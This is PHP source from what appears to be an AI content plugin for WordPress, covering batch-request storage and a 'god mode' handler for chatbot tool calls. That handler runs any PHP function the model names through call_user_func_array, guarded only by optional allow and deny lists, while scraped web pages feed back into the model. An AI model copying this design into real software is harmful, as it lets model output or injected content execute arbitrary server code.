'_batch_cancelling_at', $my_batch['cancelling_at']); update_post_meta($local_batch_id, '_batch_cancelled_at', $my_batch['cancelled_at']); update_post_meta($local_batch_id, '_batch_request_count', $my_batch['request_counts']['total']); update_post_meta($local_batch_id, '_batch_request_completed', $my_batch['request_counts']['completed']); update_post_meta($local_batch_id, '_batch_request_failed', $my_batch['request_counts']['failed']); update_post_meta($local_batch_id, '_batch_error_file_id', $my_batch['error_file_id']); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $local_batch_id; } } return $aiomatic_result; } function aiomatic_save_batch($token, $aiomatic_batch_file, $aiomatic_completion_window, $aiomatic_endpoint) { require_once (dirname(__FILE__) . "/res/aiomatic-batch-api.php"); try { $metadata = ''; $batchData = aiomatic_openai_save_batch( $token, $aiomatic_batch_file, $aiomatic_completion_window, $aiomatic_endpoint, $metadata ); if($batchData === false) { $aiomatic_result['msg'] = 'Failed to save AI Batch Request using the API'; return $aiomatic_result; } if(!isset($batchData['id'])) { $aiomatic_result['msg'] = 'Failed to decode AI Batch Request saving request: ' . print_r($batchData, true); return $aiomatic_result; } $batch_id = $batchData['id']; } catch(Exception $e) { $aiomatic_result['msg'] = 'Exception occured during AI Batch Request saving: ' . $e->getMessage(); return $aiomatic_result; } if(empty($batch_id)) { $aiomatic_result['msg'] = 'Failed to insert AI Batch Request to AI service: ' . $title; return $aiomatic_result; } $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong in batch request saving'); $batch_data = array( 'post_type' => 'aiomatic_batches', 'post_title' => $batch_id, 'post_status' => 'publish' ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $local_batch_id = wp_insert_post($batch_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($local_batch_id)) { $aiomatic_result['msg'] = $local_batch_id->get_error_message(); } elseif($local_batch_id === 0) { $aiomatic_result['msg'] = 'Failed to insert batch request to database: ' . $title; } else { update_post_meta($local_batch_id, '_batch_id', $batchData['id']); update_post_meta($local_batch_id, '_batch_endpoint', $batchData['endpoint']); update_post_meta($local_batch_id, '_batch_completion_window', $batchData['completion_window']); update_post_meta($local_batch_id, '_batch_errors', $batchData['errors']); update_post_meta($local_batch_id, '_batch_input_file_id', $batchData['input_file_id']); update_post_meta($local_batch_id, '_batch_status', $batchData['status']); update_post_meta($local_batch_id, '_batch_output_file_id', $batchData['output_file_id']); update_post_meta($local_batch_id, '_batch_created_at', $batchData['created_at']); update_post_meta($local_batch_id, '_batch_in_progress_at', $batchData['in_progress_at']); update_post_meta($local_batch_id, '_batch_expires_at', $batchData['expires_at']); update_post_meta($local_batch_id, '_batch_finalizing_at', $batchData['finalizing_at']); update_post_meta($local_batch_id, '_batch_completed_at', $batchData['completed_at']); update_post_meta($local_batch_id, '_batch_failed_at', $batchData['failed_at']); update_post_meta($local_batch_id, '_batch_expired_at', $batchData['expired_at']); update_post_meta($local_batch_id, '_batch_cancelling_at', $batchData['cancelling_at']); update_post_meta($local_batch_id, '_batch_cancelled_at', $batchData['cancelled_at']); update_post_meta($local_batch_id, '_batch_request_count', $batchData['request_counts']['total']); update_post_meta($local_batch_id, '_batch_request_completed', $batchData['request_counts']['completed']); update_post_meta($local_batch_id, '_batch_request_failed', $batchData['request_counts']['failed']); update_post_meta($local_batch_id, '_batch_error_file_id', $batchData['error_file_id']); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $local_batch_id; } return $aiomatic_result; } ?>aiomatic-god-mode-parser.php000064400000543451147577714370012070 0ustar00aiomatic_tool_results) && is_array($reply->aiomatic_tool_results)) { $reply->aiomatic_tool_results[] = $add_me; } else { $reply->aiomatic_tool_results = array($add_me); } } function aiomatic_add_tool_direct_message(&$reply, $add_me) { if(isset($reply->aiomatic_tool_direct_message) && is_array($reply->aiomatic_tool_direct_message)) { $reply->aiomatic_tool_direct_message[] = $add_me; } else { $reply->aiomatic_tool_direct_message = array($add_me); } } add_filter('aiomatic_ai_reply_raw', 'aiomatic_handle_god_mode_response', 10, 2); function aiomatic_handle_god_mode_response($reply, $query) { if (isset($reply->tool_calls) && !empty($reply->tool_calls)) { if ( current_user_can( 'access_aiomatic_menu' ) ) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); require_once(__DIR__ . '/res/amazon-direct.php'); foreach($reply->tool_calls as $tool_call) { if (isset($tool_call->type) && $tool_call->type == 'function') { $result = false; if (isset($tool_call->function->arguments) && is_string($tool_call->function->arguments)) { $targs = json_decode($tool_call->function->arguments); if($targs !== null) { $tool_call->function->arguments = $targs; } else { $strips = stripslashes($tool_call->function->arguments); $targs = json_decode($strips); if($targs !== null) { $tool_call->function->arguments = $targs; } } } if(isset($reply->choices[0]->message)) { $as_mes = $reply->choices[0]->message; } else { $as_mes = ''; } if ($tool_call->function->name === 'aiomatic_wp_god_mode') { if(isset($tool_call->function->arguments->called_function_name)) { $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); $function_name = $tool_call->function->arguments->called_function_name; $params = $tool_call->function->arguments->parameter_array; if (isset($aiomatic_Chatbot_Settings['god_whitelisted_functions']) && trim($aiomatic_Chatbot_Settings['god_whitelisted_functions']) != '') { $white = trim($aiomatic_Chatbot_Settings['god_whitelisted_functions']); $white = preg_split('/\r\n|\r|\n/', trim($white)); $white = array_filter($white); if(!in_array($function_name, $white)) { if(isset($reply->choices[0])) { $reply->choices[0]->text = ''; $reply->choices[0]->message->content = ''; } if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Function call not allowed, not whitelisted: ' . $function_name); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'You are not allowed to call this function (not on the whitelisted functions list)', 'assistant_message' => $as_mes )); continue; } } if (isset($aiomatic_Chatbot_Settings['god_blacklisted_functions']) && trim($aiomatic_Chatbot_Settings['god_blacklisted_functions']) != '') { $black = trim($aiomatic_Chatbot_Settings['god_blacklisted_functions']); $black = preg_split('/\r\n|\r|\n/', trim($black)); $black = array_filter($black); if(in_array($function_name, $black)) { if(isset($reply->choices[0])) { $reply->choices[0]->text = ''; $reply->choices[0]->message->content = ''; } if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Function call not allowed, blacklisted: ' . $function_name); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'You are not allowed to call this function (on the blacklisted functions list)', 'assistant_message' => $as_mes )); continue; } } if(function_exists($function_name)) { if(!is_array($params)) { $jsony = json_decode($params, true); if($jsony !== null && is_array($jsony)) { $params = $jsony; } else { if(empty($params)) { $params = array(); } else { $params = array($params); } } } if(isset($params['post_title']) && $function_name == 'wp_insert_post') { $params = array($params); } $paramsAsString = aiomatic_format_function_params($params); $reflection = new ReflectionFunction($function_name); $requiredParamsCount = $reflection->getNumberOfRequiredParameters(); if(is_numeric($requiredParamsCount) && $requiredParamsCount > 0 && count($params) < $requiredParamsCount) { $result = $function_name . ' function has ' . $requiredParamsCount .' required parameters, but only ' . count($params) . ' were passed to it.'; } else { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Calling function ' . $function_name . '(' . $paramsAsString . ')...'); } $result = call_user_func_array($function_name, $params); } } else { $result = $function_name . ' function was not found on the system.'; } if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { $paramsAsString = aiomatic_format_function_params($params); if($result === false) { aiomatic_log_to_file('Function ' . $function_name . '(' . $paramsAsString . ') - returned false'); $result = $function_name . ' returned false'; } elseif(empty($result)) { aiomatic_log_to_file('Function ' . $function_name . '(' . $paramsAsString . ') - returned an empty response: ' . print_r($result, true)); $result = $function_name . ' returned an empty response'; } else { aiomatic_log_to_file('Function ' . $function_name . '(' . $paramsAsString . ') - result: ' . print_r($result, true)); } } if(isset($reply->choices[0])) { $reply->choices[0]->text = ''; $reply->choices[0]->message->content = ''; } if(is_object($result) || is_array($result)) { $result = json_encode($result); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $result, 'assistant_message' => $as_mes )); } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'called_function_name parameter not found', 'assistant_message' => $as_me )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_image') { if(isset($tool_call->function->arguments->prompt)) { $result = ''; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); $prompt = $tool_call->function->arguments->prompt; if (!isset($aiomatic_Main_Settings['app_id'])) { $aiomatic_Main_Settings['app_id'] = ''; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if (empty($token)) { aiomatic_log_to_file('You need to enter an OpenAI API key for this to work!'); if (isset($aiomatic_Chatbot_Settings['god_mode_dalle_failed']) && trim($aiomatic_Chatbot_Settings['god_mode_dalle_failed']) != '') { $result = trim($aiomatic_Chatbot_Settings['god_mode_dalle_failed']); } else { $result = 'Image creation failed, please try again later.'; } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $result, 'assistant_message' => $as_mes )); continue; } if (isset($aiomatic_Chatbot_Settings['ai_image_size']) && trim($aiomatic_Chatbot_Settings['ai_image_size']) != '') { $image_size = trim($aiomatic_Chatbot_Settings['ai_image_size']); } else { $image_size = '512x512'; } if (isset($aiomatic_Chatbot_Settings['ai_image_model']) && trim($aiomatic_Chatbot_Settings['ai_image_model']) != '') { $model = trim($aiomatic_Chatbot_Settings['ai_image_model']); } else { $model = 'dalle2'; } if(empty($result)) { $aierror = ''; $airesult = aiomatic_generate_ai_image($token, 1, $prompt, $image_size, 'chatFunctionDalleImage', false, 0, $aierror, $model); if($airesult !== false && is_array($airesult)) { foreach($airesult as $tmpimg) { $result = ''; break; } } else { aiomatic_log_to_file('Failed to generate Dall-E image in AI chatbot: ' . $aierror); if (isset($aiomatic_Chatbot_Settings['god_mode_dalle_failed']) && trim($aiomatic_Chatbot_Settings['god_mode_dalle_failed']) != '') { $result = trim($aiomatic_Chatbot_Settings['god_mode_dalle_failed']); } else { $result = 'Image creation failed, please try again later.'; } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $result, 'assistant_message' => $as_mes )); continue; } } aiomatic_add_tool_direct_message($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $result, 'assistant_message' => $as_mes )); } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'prompt parameter not found', 'assistant_message' => $as_me )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_stable_image') { if(isset($tool_call->function->arguments->prompt)) { $result = ''; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); $prompt = $tool_call->function->arguments->prompt; if (empty($prompt)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty prompt sent', 'assistant_message' => $as_mes )); continue; } if (isset($aiomatic_Chatbot_Settings['ai_image_size_stable']) && trim($aiomatic_Chatbot_Settings['ai_image_size_stable']) != '') { $image_size = trim($aiomatic_Chatbot_Settings['ai_image_size_stable']); } else { $image_size = '512x512'; } if($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } else { $width = '512'; $height = '512'; } if (isset($aiomatic_Chatbot_Settings['stable_model']) && trim($aiomatic_Chatbot_Settings['stable_model']) != '') { $model = trim($aiomatic_Chatbot_Settings['stable_model']); } else { $model = AIOMATIC_STABLE_DEFAULT_MODE; } $aierror = ''; $airesult = aiomatic_generate_stability_image($prompt, $height, $width, 'chatFunctionStableImage', 0, false, $aierror, false, $model); if($airesult !== false && isset($airesult[1])) { $result = ''; } else { aiomatic_log_to_file('Failed to generate Dall-E image in AI chatbot: ' . $aierror); if (isset($aiomatic_Chatbot_Settings['god_mode_dalle_failed']) && trim($aiomatic_Chatbot_Settings['god_mode_dalle_failed']) != '') { $result = trim($aiomatic_Chatbot_Settings['god_mode_dalle_failed']); } else { $result = 'Image creation failed, please try again later.'; } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $result, 'assistant_message' => $as_mes )); continue; } aiomatic_add_tool_direct_message($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $result, 'assistant_message' => $as_mes )); } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'prompt parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_midjourney_image') { if(isset($tool_call->function->arguments->prompt)) { $result = ''; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); $prompt = $tool_call->function->arguments->prompt; if (empty($prompt)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty prompt sent', 'assistant_message' => $as_mes )); continue; } if (isset($aiomatic_Chatbot_Settings['ai_image_size_midjourney']) && trim($aiomatic_Chatbot_Settings['ai_image_size_midjourney']) != '') { $image_size = trim($aiomatic_Chatbot_Settings['ai_image_size_midjourney']); } else { $image_size = '512x512'; } if($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } elseif($image_size == '1792x1024') { $width = '1792'; $height = '1024'; } elseif($image_size == '1024x1792') { $width = '1024'; $height = '1792'; } else { $width = '512'; $height = '512'; } $aierror = ''; $airesult = aiomatic_generate_ai_image_midjourney($prompt, $width, $height, 'chatFunctionMidjourneyImage', false, $aierror); if($airesult !== false) { $result = ''; } else { aiomatic_log_to_file('Failed to generate Dall-E image in AI chatbot: ' . $aierror); if (isset($aiomatic_Chatbot_Settings['god_mode_dalle_failed']) && trim($aiomatic_Chatbot_Settings['god_mode_dalle_failed']) != '') { $result = trim($aiomatic_Chatbot_Settings['god_mode_dalle_failed']); } else { $result = 'Image creation failed, please try again later.'; } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $result, 'assistant_message' => $as_mes )); continue; } aiomatic_add_tool_direct_message($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $result, 'assistant_message' => $as_mes )); } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'prompt parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_stable_video') { if(isset($tool_call->function->arguments->image_url)) { $result = ''; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); $image_url = $tool_call->function->arguments->image_url; if (empty($image_url)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty image_url sent', 'assistant_message' => $as_mes )); continue; } if (isset($aiomatic_Chatbot_Settings['ai_video_size_stable']) && trim($aiomatic_Chatbot_Settings['ai_video_size_stable']) != '') { $image_size = trim($aiomatic_Chatbot_Settings['ai_video_size_stable']); } else { $image_size = '768x768'; } $aierror = ''; $response_text = aiomatic_generate_stability_video($image_url, $image_size, 'chatbotStableVideo', 0, false, $aierror, false); if($response_text !== false && isset($response_text[1])) { $result = '
            '; aiomatic_add_tool_direct_message($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $result, 'assistant_message' => $as_mes )); continue; } else { aiomatic_log_to_file('Failed to generate Dall-E video in AI chatbot: ' . $aierror); $result = 'Video creation failed, please try again later.'; aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $result, 'assistant_message' => $as_mes )); continue; } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'image_url parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_amazon_listing') { if(isset($tool_call->function->arguments->query)) { $result = ''; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); $asin = $tool_call->function->arguments->query; if (empty($asin)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty search query provided', 'assistant_message' => $as_mes )); continue; } if (isset($aiomatic_Chatbot_Settings['affiliate_id']) && trim($aiomatic_Chatbot_Settings['affiliate_id']) != '') { $aff_id = trim($aiomatic_Chatbot_Settings['affiliate_id']); } else { $aff_id = ''; } if (isset($aiomatic_Chatbot_Settings['target_country']) && trim($aiomatic_Chatbot_Settings['target_country']) != '') { $target_country = trim($aiomatic_Chatbot_Settings['target_country']); } else { $target_country = 'com'; } if (isset($aiomatic_Chatbot_Settings['max_products']) && trim($aiomatic_Chatbot_Settings['max_products']) != '') { $max_product_count = trim($aiomatic_Chatbot_Settings['max_products']); } else { $max_product_count = '3-4'; } if (isset($aiomatic_Chatbot_Settings['sort_results']) && trim($aiomatic_Chatbot_Settings['sort_results']) != '') { $amaz_sort_results = trim($aiomatic_Chatbot_Settings['sort_results']); } else { $amaz_sort_results = 'none'; } if (isset($aiomatic_Chatbot_Settings['listing_template']) && trim($aiomatic_Chatbot_Settings['listing_template']) != '') { $listing_template = trim($aiomatic_Chatbot_Settings['listing_template']); } else { $listing_template = '%%product_counter%%. %%product_title%% - Desciption: %%product_description%% - Link: %%product_url%% - Price: %%product_price%%'; } if(strstr($max_product_count, '-') !== false) { $pr_arr = explode('-', $max_product_count); $minx = trim($pr_arr[0]); $maxx = trim($pr_arr[1]); if(is_numeric($minx) && is_numeric($maxx)) { $max_product_count = rand(intval($minx), intval($maxx)); } else { if(is_numeric($minx)) { $max_product_count = intval($minx); } elseif(is_numeric($maxx)) { $max_product_count = intval($maxx); } else { $max_product_count = 100; } } } if(!empty($max_product_count) && is_numeric($max_product_count)) { $max_prod = intval($max_product_count); } else { $max_prod = 100; } $amazresult = aiomatic_amazon_get_post($asin, trim($aff_id), $target_country, '', '', $amaz_sort_results, $max_prod, '1', array()); if(is_array($amazresult) && ((isset($amazresult['status']) && $amazresult['status'] == 'nothing') || count($amazresult) == 0)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'No Amazon products found for query: ' . $asin, 'assistant_message' => $as_mes )); continue; } if(!is_array($amazresult)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'An error occurred while search Amazon for: ' . $asin, 'assistant_message' => $as_mes )); continue; } $final_result = ''; $counter = 1; foreach($amazresult as $myprod) { $copy_template = $listing_template; $copy_template = str_replace('%%product_counter%%', $counter, $copy_template); $copy_template = str_replace('%%product_title%%', trim(preg_replace('/\s+/', ' ', $myprod->offer_title)), $copy_template); $copy_template = str_replace('%%product_description%%', trim(preg_replace('/\s+/', ' ', $myprod->offer_desc)), $copy_template); $copy_template = str_replace('%%product_url%%', trim(preg_replace('/\s+/', ' ', $myprod->offer_url)), $copy_template); $copy_template = str_replace('%%product_price%%', trim(preg_replace('/\s+/', ' ', $myprod->offer_price)), $copy_template); $copy_template = str_replace('%%product_list_price%%', trim(preg_replace('/\s+/', ' ', $myprod->product_list_price)), $copy_template); $copy_template = str_replace('%%product_image%%', trim(preg_replace('/\s+/', ' ', $myprod->offer_img)), $copy_template); $copy_template = str_replace('%%product_cart_url%%', trim(preg_replace('/\s+/', ' ', $myprod->cart_url)), $copy_template); $copy_template = str_replace('%%product_images_urls%%', trim(preg_replace('/\s+/', ' ', $myprod->product_imgs)), $copy_template); $copy_template = str_replace('%%product_images%%', trim(preg_replace('/\s+/', ' ', $myprod->product_imgs_html)), $copy_template); $copy_template = str_replace('%%product_reviews%%', trim(preg_replace('/\s+/', ' ', implode(PHP_EOL, $myprod->item_reviews))), $copy_template); //new $copy_template = str_replace('%%product_score%%', trim(preg_replace('/\s+/', ' ', $myprod->item_score)), $copy_template); $copy_template = str_replace('%%product_language%%', trim(preg_replace('/\s+/', ' ', $myprod->language)), $copy_template); $copy_template = str_replace('%%product_edition%%', trim(preg_replace('/\s+/', ' ', $myprod->edition)), $copy_template); $copy_template = str_replace('%%product_pages_count%%', trim(preg_replace('/\s+/', ' ', $myprod->pages_count)), $copy_template); $copy_template = str_replace('%%product_publication_date%%', trim(preg_replace('/\s+/', ' ', $myprod->publication_date)), $copy_template); $copy_template = str_replace('%%product_contributors%%', trim(preg_replace('/\s+/', ' ', $myprod->contributors)), $copy_template); $copy_template = str_replace('%%product_manufacturer%%', trim(preg_replace('/\s+/', ' ', $myprod->manufacturer)), $copy_template); $copy_template = str_replace('%%product_binding%%', trim(preg_replace('/\s+/', ' ', $myprod->binding)), $copy_template); $copy_template = str_replace('%%product_product_group%%', trim(preg_replace('/\s+/', ' ', $myprod->product_group)), $copy_template); $copy_template = str_replace('%%product_rating%%', trim(preg_replace('/\s+/', ' ', $myprod->rating)), $copy_template); $copy_template = str_replace('%%product_ean%%', trim(preg_replace('/\s+/', ' ', $myprod->eans)), $copy_template); $copy_template = str_replace('%%product_part_no%%', trim(preg_replace('/\s+/', ' ', $myprod->part_no)), $copy_template); $copy_template = str_replace('%%product_model%%', trim(preg_replace('/\s+/', ' ', $myprod->model)), $copy_template); $copy_template = str_replace('%%product_warranty%%', trim(preg_replace('/\s+/', ' ', $myprod->warranty)), $copy_template); $copy_template = str_replace('%%product_color%%', trim(preg_replace('/\s+/', ' ', $myprod->color)), $copy_template); $copy_template = str_replace('%%product_is_adult%%', trim(preg_replace('/\s+/', ' ', $myprod->is_adult)), $copy_template); $copy_template = str_replace('%%product_dimensions%%', trim(preg_replace('/\s+/', ' ', $myprod->dimensions)), $copy_template); $copy_template = str_replace('%%product_size%%', trim(preg_replace('/\s+/', ' ', $myprod->size)), $copy_template); $copy_template = str_replace('%%product_unit_count%%', trim(preg_replace('/\s+/', ' ', $myprod->unit_count)), $copy_template); $counter++; $final_result .= $copy_template . '\r\n'; } $final_result = trim($final_result); if(!empty($final_result)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $final_result, 'assistant_message' => $as_mes )); } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Amazon did not return info for this query: ' . $asin, 'assistant_message' => $as_mes )); } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'query parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_amazon_product_details') { if(isset($tool_call->function->arguments->query)) { $result = ''; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); $asin = $tool_call->function->arguments->query; if (empty($asin)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty search query provided', 'assistant_message' => $as_mes )); continue; } if (isset($aiomatic_Chatbot_Settings['affiliate_id']) && trim($aiomatic_Chatbot_Settings['affiliate_id']) != '') { $aff_id = trim($aiomatic_Chatbot_Settings['affiliate_id']); } else { $aff_id = ''; } if (isset($aiomatic_Chatbot_Settings['target_country']) && trim($aiomatic_Chatbot_Settings['target_country']) != '') { $target_country = trim($aiomatic_Chatbot_Settings['target_country']); } else { $target_country = 'com'; } $max_prod = 1; $amazresult = aiomatic_amazon_get_post($asin, trim($aff_id), $target_country, '', '', '', $max_prod, '1', array()); if(is_array($amazresult) && ((isset($amazresult['status']) && $amazresult['status'] == 'nothing') || count($amazresult) == 0)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'No Amazon products found for query: ' . $asin, 'assistant_message' => $as_mes )); continue; } if(!is_array($amazresult)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'An error occurred while search Amazon for: ' . $asin, 'assistant_message' => $as_mes )); continue; } else { $final_result = 'Product title: ' . $amazresult[0]->offer_title . '\n'; $final_result .= 'Description: ' . $amazresult[0]->offer_desc . '\n'; $final_result .= 'URL: ' . $amazresult[0]->offer_url . '\n'; $final_result .= 'Price: ' . $amazresult[0]->offer_price . '\n'; $final_result .= 'Listing Price: ' . $amazresult[0]->product_list_price . '\n'; $final_result .= 'Image: ' . $amazresult[0]->offer_img . '\n'; $final_result .= 'Add to cart URL: ' . $amazresult[0]->cart_url . '\n'; $final_result .= 'Other images: ' . $amazresult[0]->product_imgs . '\n'; //new if(!empty($the_current_section->item_score)) { $final_result .= 'Score: ' . $amazresult[0]->item_score . '\n'; } if(!empty($the_current_section->language)) { $final_result .= 'Language: ' . $amazresult[0]->language . '\n'; } if(!empty($the_current_section->edition)) { $final_result .= 'Edition: ' . $amazresult[0]->edition . '\n'; } if(!empty($the_current_section->pages_count)) { $final_result .= 'Pages Count: ' . $amazresult[0]->pages_count . '\n'; } if(!empty($the_current_section->publication_date)) { $final_result .= 'Date: ' . $amazresult[0]->publication_date . '\n'; } if(!empty($the_current_section->contributors)) { $final_result .= 'Contributors: ' . $amazresult[0]->contributors . '\n'; } if(!empty($the_current_section->manufacturer)) { $final_result .= 'Manufacturer: ' . $amazresult[0]->manufacturer . '\n'; } if(!empty($the_current_section->binding)) { $final_result .= 'Binding: ' . $amazresult[0]->binding . '\n'; } if(!empty($the_current_section->product_group)) { $final_result .= 'Product Group: ' . $amazresult[0]->product_group . '\n'; } if(!empty($the_current_section->rating)) { $final_result .= 'Rating: ' . $amazresult[0]->rating . '\n'; } if(!empty($the_current_section->eans)) { $final_result .= 'EAN: ' . $amazresult[0]->eans . '\n'; } if(!empty($the_current_section->part_no)) { $final_result .= 'Part No: ' . $amazresult[0]->part_no . '\n'; } if(!empty($the_current_section->model)) { $final_result .= 'Model: ' . $amazresult[0]->model . '\n'; } if(!empty($the_current_section->warranty)) { $final_result .= 'Warranty: ' . $amazresult[0]->warranty . '\n'; } if(!empty($the_current_section->color)) { $final_result .= 'Color: ' . $amazresult[0]->color . '\n'; } if(!empty($the_current_section->is_adult)) { $final_result .= 'Is Adult: ' . $amazresult[0]->is_adult . '\n'; } if(!empty($the_current_section->dimensions)) { $final_result .= 'Dimensions: ' . $amazresult[0]->dimensions . '\n'; } if(!empty($the_current_section->size)) { $final_result .= 'Size: ' . $amazresult[0]->size . '\n'; } if(!empty($the_current_section->unit_count)) { $final_result .= 'Unit Count: ' . $amazresult[0]->unit_count . '\n'; } $final_result .= 'Reviews: ' . implode(PHP_EOL, $amazresult[0]->item_reviews) . '\n'; aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $final_result, 'assistant_message' => $as_mes )); } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'query parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_website_scraper') { if(isset($tool_call->function->arguments->url)) { $result = ''; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); $scurl = $tool_call->function->arguments->url; if (empty($scurl)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty scrape url provided', 'assistant_message' => $as_mes )); continue; } if (isset($aiomatic_Chatbot_Settings['scrape_method']) && trim($aiomatic_Chatbot_Settings['scrape_method']) != '') { $scrape_method = trim($aiomatic_Chatbot_Settings['scrape_method']); } else { $scrape_method = '0'; } if (isset($aiomatic_Chatbot_Settings['max_chars']) && trim($aiomatic_Chatbot_Settings['max_chars']) != '') { $max_chars = trim($aiomatic_Chatbot_Settings['max_chars']); } else { $max_chars = ''; } $scrape_selector = 'auto'; $scrape_string = ''; if (isset($aiomatic_Chatbot_Settings['strip_tags']) && trim($aiomatic_Chatbot_Settings['strip_tags']) != '') { $strip_tags = trim($aiomatic_Chatbot_Settings['strip_tags']); } else { $strip_tags = '0'; } $scraped_data = aiomatic_scrape_page($scurl, $scrape_method, $scrape_selector, $scrape_string); if($scraped_data === false) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to scrape website URL: ' . $scurl, 'assistant_message' => $as_mes )); continue; } else { if($strip_tags == '1') { $scraped_data = wp_strip_all_tags($scraped_data); } else { $scraped_data = aiomatic_fix_relative_links($scraped_data, $scurl); } if(!empty($max_chars) && is_numeric($max_chars)) { $scraped_data = (strlen($scraped_data) > intval($max_chars)) ? substr($scraped_data, 0, intval($max_chars)) : $scraped_data; } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $scraped_data, 'assistant_message' => $as_mes )); } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'url parameter not found', 'assistant_message' => 